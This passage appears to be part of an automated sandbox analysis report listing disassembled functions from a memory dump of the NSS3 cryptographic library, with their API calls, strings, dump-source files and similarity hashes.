memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CE88E01,00000000,6CE89060,6CF90B64), ref: 6CE88EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CE88E01,00000000,6CE89060,6CF90B64), ref: 6CE88ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CE88E01,00000000,6CE89060,6CF90B64), ref: 6CE88EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CE88E01), ref: 6CE88EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CF90B64,6CF90B64), ref: 6CE88F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CE88F3F

Part of subcall function 6CE8A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CE8A421,00000000,00000000,6CE89826), ref: 6CE8A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE8904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CE88E76

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 1f606a88c70c7b8f336a440b2e569edd1e3aa2ff128bf993377b1f71f5712cdf
Instruction ID: 5d7811c2dbb2f3426f3e8cf970c90f15cf102ff352794a43c1ca2999ed193d2b
Opcode Fuzzy Hash: 1f606a88c70c7b8f336a440b2e569edd1e3aa2ff128bf993377b1f71f5712cdf
Instruction Fuzzy Hash: 9761A3B5D0110A9BDB10CF95CC80AAFBBB9FF84358F244529DC2CA7741E736A915CBA0

Function 6CE38E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE38E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE38E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE38EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF618D0,?), ref: 6CE38F03
PR_CallOnce.NSS3(6CF92AA4,6CE912D0), ref: 6CE38F19
PL_FreeArenaPool.NSS3(?), ref: 6CE38F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE38F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE38F65
PL_FinishArenaPool.NSS3(?), ref: 6CE38FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CE38FFE
PR_CallOnce.NSS3(6CF92AA4,6CE912D0), ref: 6CE39012
PL_FreeArenaPool.NSS3(?), ref: 6CE39024
PL_FinishArenaPool.NSS3(?), ref: 6CE3902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CE3903E

Strings

security, xrefs: 6CE38EE7

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 5f8714277292b90897093027736a8e29189366c818b20c6a8aac24e2f0938118
Instruction ID: 17fec1259454ef57b2320bfa5c3a4dce2be239c64307c9a1f7b64b226435c4d6
Opcode Fuzzy Hash: 5f8714277292b90897093027736a8e29189366c818b20c6a8aac24e2f0938118
Instruction Fuzzy Hash: F55148B2908210ABD7209A559C41BAB73B8AB8674CF64182FF559D7B80D732F909C753

Function 6CE64E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CE64E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE64EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE64EC7

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE64EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CE64F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE64F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CE64F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CE64F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CE64F68

Strings

ulCount = %d, xrefs: 6CE64F63
(CK_INVALID_HANDLE), xrefs: 6CE64EC0, 6CE64F13
C_GetAttributeValue, xrefs: 6CE64E7E
hObject = 0x%x, xrefs: 6CE64EF5, 6CE64F05
hSession = 0x%x, xrefs: 6CE64EA2, 6CE64EB2
pTemplate = 0x%p, xrefs: 6CE64F4A

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 9d9fee023b57fbefda0aafad340034f4a8f5ec276c6b30a804159b00f33c3d68
Instruction ID: c55d78c45ac2022d14589184449acb15a889ff53dd733d399103e11cf0b8ac90
Opcode Fuzzy Hash: 9d9fee023b57fbefda0aafad340034f4a8f5ec276c6b30a804159b00f33c3d68
Instruction Fuzzy Hash: 96413431A61004AFDF00DF11DC49F9A3BB5AF5230DF55842AE9085BF52DB329D58CBA1

Function 6CE64CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CE64CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE64D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE64D37

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE64D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CE64D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE64D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CE64DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CE64DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CE64E20

Strings

(CK_INVALID_HANDLE), xrefs: 6CE64D30, 6CE64D83
pulSize = 0x%p, xrefs: 6CE64DB7
hObject = 0x%x, xrefs: 6CE64D65, 6CE64D75
hSession = 0x%x, xrefs: 6CE64D12, 6CE64D22
C_GetObjectSize, xrefs: 6CE64CEE
*pulSize = 0x%x, xrefs: 6CE64E1B

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: a7757ac827fbca150f8cc80f1015696a11194880e520af0eef2e24dd9df7076b
Instruction ID: 31a7f56cf145397c7abbf880fdfcbede3a6b5a1f5ac75726d3689870c010e29e
Opcode Fuzzy Hash: a7757ac827fbca150f8cc80f1015696a11194880e520af0eef2e24dd9df7076b
Instruction Fuzzy Hash: 5B412731E60104AFDB40DF11DC98F6A3BB5EB5230DF55842AE5086BF52DB328D58CB92

Function 6CE67C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CE67CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE67CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE67CF3

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE67D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE67D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE67D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE67D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CE67D77

Strings

C_Verify, xrefs: 6CE67CB1
pData = 0x%p, xrefs: 6CE67D25
ulSignatureLen = %d, xrefs: 6CE67D72
(CK_INVALID_HANDLE), xrefs: 6CE67CEC
ulDataLen = %d, xrefs: 6CE67D40
hSession = 0x%x, xrefs: 6CE67CCE, 6CE67CDE
pSignature = 0x%p, xrefs: 6CE67D59

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: b8127ddbf94f3ea3603a1354eaa717bf78657364c9bac8cfb7c86fefacefb378
Instruction ID: 13de9835ae3a5001722fa840859a279d719d7c491cbba678fb6afabf84dc7735
Opcode Fuzzy Hash: b8127ddbf94f3ea3603a1354eaa717bf78657364c9bac8cfb7c86fefacefb378
Instruction Fuzzy Hash: 91310431A61140AFDF009F55DD48F6A3BB1AF5731CF598828E90857F12DB328958CBA1

Function 6CE62F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CE62F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE62F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE62F63

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE62F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CE62F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CE62FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CE62FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CE62FE7

Strings

ulNewLen = %d, xrefs: 6CE62FE2
(CK_INVALID_HANDLE), xrefs: 6CE62F5C
C_SetPIN, xrefs: 6CE62F21
hSession = 0x%x, xrefs: 6CE62F3E, 6CE62F4E
ulOldLen = %d, xrefs: 6CE62FB0
pOldPin = 0x%p, xrefs: 6CE62F95
pNewPin = 0x%p, xrefs: 6CE62FC9

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 0143204268db90f7c76d9e7f64f318bb53f785408c92ace49326d2b88bf74545
Instruction ID: 56758af346c7d992172e04c0b49d4b9484f2d7855d4497f5b7763076167ae9ce
Opcode Fuzzy Hash: 0143204268db90f7c76d9e7f64f318bb53f785408c92ace49326d2b88bf74545
Instruction Fuzzy Hash: 72310435A61144AFDF809F15ED4DF4A3BB1EF5631DF198018E808A7F12DB328958CBA1

Function 6CEFCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CEFCC7B), ref: 6CEFCD7A

Part of subcall function 6CEFCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CE6C1A8,?), ref: 6CEFCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CEFCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CEFCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CEFCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CEFCD8E

Part of subcall function 6CE205C0: PR_EnterMonitor.NSS3 ref: 6CE205D1
Part of subcall function 6CE205C0: PR_ExitMonitor.NSS3 ref: 6CE205EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CEFCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CEFCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CEFCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CEFCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CEFCE48

Strings

freeaddrinfo, xrefs: 6CEFCD9F, 6CEFCE10
getnameinfo, xrefs: 6CEFCDB2, 6CEFCE23
getaddrinfo, xrefs: 6CEFCD88, 6CEFCDF9
ws2_32.dll, xrefs: 6CEFCD75
wship6.dll, xrefs: 6CEFCDE3

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 0db4cb1f44b47cb856b3257f29f8d73b53185abbd5bb3596d5e86700dbc9fcf1
Instruction ID: d9081d117a06bf58d727d6002f7f021b838d1e1edddd03dc31b933d5e0ee8213
Opcode Fuzzy Hash: 0db4cb1f44b47cb856b3257f29f8d73b53185abbd5bb3596d5e86700dbc9fcf1
Instruction Fuzzy Hash: AF11DAA5F6211152EF626F762C10BAF387C5B0210CF344938E819D2F81FB16C91683F2

Function 6CF41C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CF413BC,?,?,?,6CF41193), ref: 6CF41C6B
PR_NewLock.NSS3(?,6CF41193), ref: 6CF41C7E

Part of subcall function 6CEF98D0: calloc.MOZGLUE(00000001,00000084,6CE20936,00000001,?,6CE2102C), ref: 6CEF98E5

PR_NewCondVar.NSS3(00000000,?,6CF41193), ref: 6CF41C91

Part of subcall function 6CE1BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE221BC), ref: 6CE1BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CF41193), ref: 6CF41CA7

Part of subcall function 6CE1BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE1BBEB
Part of subcall function 6CE1BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE1BBFB
Part of subcall function 6CE1BB80: GetLastError.KERNEL32 ref: 6CE1BC03
Part of subcall function 6CE1BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE1BC19
Part of subcall function 6CE1BB80: free.MOZGLUE(00000000), ref: 6CE1BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CF41193), ref: 6CF41CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CF41193), ref: 6CF41CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CF41193), ref: 6CF41CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CF41193), ref: 6CF41D1A

Part of subcall function 6CEF9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE21A48), ref: 6CEF9BB3
Part of subcall function 6CEF9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE21A48), ref: 6CEF9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CF41193), ref: 6CF41D3D

Part of subcall function 6CEDDD70: TlsGetValue.KERNEL32 ref: 6CEDDD8C
Part of subcall function 6CEDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEDDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CF41193), ref: 6CF41D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CF41193), ref: 6CF41D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CF41193), ref: 6CF41D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CF41193), ref: 6CF41D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CF41193), ref: 6CF41D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CF41193), ref: 6CF41D93
PR_DestroyLock.NSS3(00000000,?,?,6CF41193), ref: 6CF41D9F
free.MOZGLUE(00000000,?,6CF41193), ref: 6CF41DA8

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 58c6d79f81d3982255c038345bce2eb121445d3e26c8601ed85b21855c0cfc99
Instruction ID: 9a3fcd98ccaced8fc74a2fd91dbeb48abc1fedb6fe9ed5134d56e84e13f4cbc9
Opcode Fuzzy Hash: 58c6d79f81d3982255c038345bce2eb121445d3e26c8601ed85b21855c0cfc99
Instruction Fuzzy Hash: AB3193F5E007015BEB209F34AC41B677BF8AF05649B148539E85A87B42F731E528CB92

Function 6CE55E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE55ECF
EnterCriticalSection.KERNEL32(?), ref: 6CE55EE3
PR_Unlock.NSS3(?), ref: 6CE55F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CE55FB5

Strings

S&l, xrefs: 6CE55E6C, 6CE5627F, 6CE55F12
S&l, xrefs: 6CE562E3
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CE561F4

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&l$S&l
API String ID: 2280678669-148785157
Opcode ID: 654cd9ecc39346ddc378c6902e684eec468ddfaf9b8309a0bf899ec67adb65ad
Instruction ID: c1d03f04b54644fe1644dd7ba6bd79eb189431c5537931019cc8771b35a8edd5
Opcode Fuzzy Hash: 654cd9ecc39346ddc378c6902e684eec468ddfaf9b8309a0bf899ec67adb65ad
Instruction Fuzzy Hash: F1F126B5A012158FDB44CF18C884B96BBF4FF09308F6582AAD8089F346D775EA95CF91

Function 6CEA0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,l), ref: 6CEA0C81

Part of subcall function 6CE8BE30: SECOID_FindOID_Util.NSS3(6CE4311B,00000000,?,6CE4311B,?), ref: 6CE8BE44

Part of subcall function 6CE78500: SECOID_GetAlgorithmTag_Util.NSS3(6CE795DC,00000000,00000000,00000000,?,6CE795DC,00000000,00000000,?,6CE57F4A,00000000,?,00000000,00000000), ref: 6CE78517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEA0CC4

Part of subcall function 6CE8FAB0: free.MOZGLUE(?,-00000001,?,?,6CE2F673,00000000,00000000), ref: 6CE8FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEA0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CEA0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CEA0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CEA0D7D
free.MOZGLUE(00000000), ref: 6CEA0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEA0DC1
free.MOZGLUE(00000000), ref: 6CEA0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEA0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEA0E0F

Part of subcall function 6CE795C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CE57F4A,00000000,?,00000000,00000000), ref: 6CE795E0
Part of subcall function 6CE795C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CE57F4A,00000000,?,00000000,00000000), ref: 6CE795F5
Part of subcall function 6CE795C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CE79609
Part of subcall function 6CE795C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE7961D
Part of subcall function 6CE795C0: PK11_GetInternalSlot.NSS3 ref: 6CE7970B
Part of subcall function 6CE795C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE79756
Part of subcall function 6CE795C0: PK11_GetIVLength.NSS3(?), ref: 6CE79767
Part of subcall function 6CE795C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE7977E
Part of subcall function 6CE795C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE7978E

Strings

-$l, xrefs: 6CEA0C64
*,l, xrefs: 6CEA0DCC
*,l, xrefs: 6CEA0C69, 6CEA0DE0, 6CEA0C80, 6CEA0C8B, 6CEA0CAF

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,l$*,l$-$l
API String ID: 3136566230-2303401061
Opcode ID: 44305bc58a99296fed788930add156e4b034f1050dd1474a8430eb3905b2f94e
Instruction ID: 4d98ee2041f55eefc2825c749a4663bde7634ed434b3adf5a8488980dd12a526
Opcode Fuzzy Hash: 44305bc58a99296fed788930add156e4b034f1050dd1474a8430eb3905b2f94e
